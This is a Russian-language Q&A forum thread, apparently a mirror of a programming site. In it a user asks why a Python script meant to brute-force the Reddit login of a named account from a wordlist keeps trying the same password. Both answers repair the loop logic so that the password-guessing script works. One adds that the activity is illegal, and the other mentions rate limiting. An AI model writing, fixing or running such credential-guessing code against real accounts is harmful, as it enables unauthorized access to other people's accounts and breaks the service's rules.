грубая атака с запросами - код продолжает пробовать один и тот же пароль - PullRequest
0 голосов
/ 04 апреля 2019

У меня есть этот кусок кода, и когда я его запускаю, он просто повторяет один и тот же пароль снова и снова!

import requests

url = 'https://www.reddit.com/login/'
arq = open('C:/Users/Amel/Desktop/Python/BruteForce/wordlist.txt')
for line in arq:
    password = line.strip()
    http = requests.put(url, 
    data={'loginUsername' : 'skoolees', 'loginPassword' : password, 
    'AnimatedForm__submitButton' : 'submit'})
    content = http.content
    while url == 'https://www.reddit.com/login/':
        print('Password incorrect : ', password)
    while url == 'https://www.reddit.com':
        print('Password correct : ', password)
        break

Ответы [ 2 ]

2 голосов
/ 04 апреля 2019

Hay Amel, вы должны использовать if elif вместо while

Вы while url == 'https://www.reddit.com/login/' никогда не будете оцениваться как ложные, потому что вы не измените значение url.

Кроме того, вы хотите проверить на выходе, а не неизменную переменную url

Попробуйте вместо этого

if http.url == 'https://www.reddit.com/login/':
    print('Password incorrect : ', password)
elif http.url == 'https://www.reddit.com':
    print('Password correct : ', password)
    break

Знайте, что это не законно и запрещено кодексом поведения Reddit.

0 голосов
/ 04 апреля 2019

Какова цель циклов while?Вы пытались изменить их на if?

Кроме того, вы, вероятно, хотите проверить URL ответа (в вашем случае http.url), а не переменную url.

* 1007.*

Примечание: bruteforcing reddit, вероятно, не разрешен, и они, скорее всего, имеют механизм ограничения скорости, который остановит вас после нескольких попыток.

...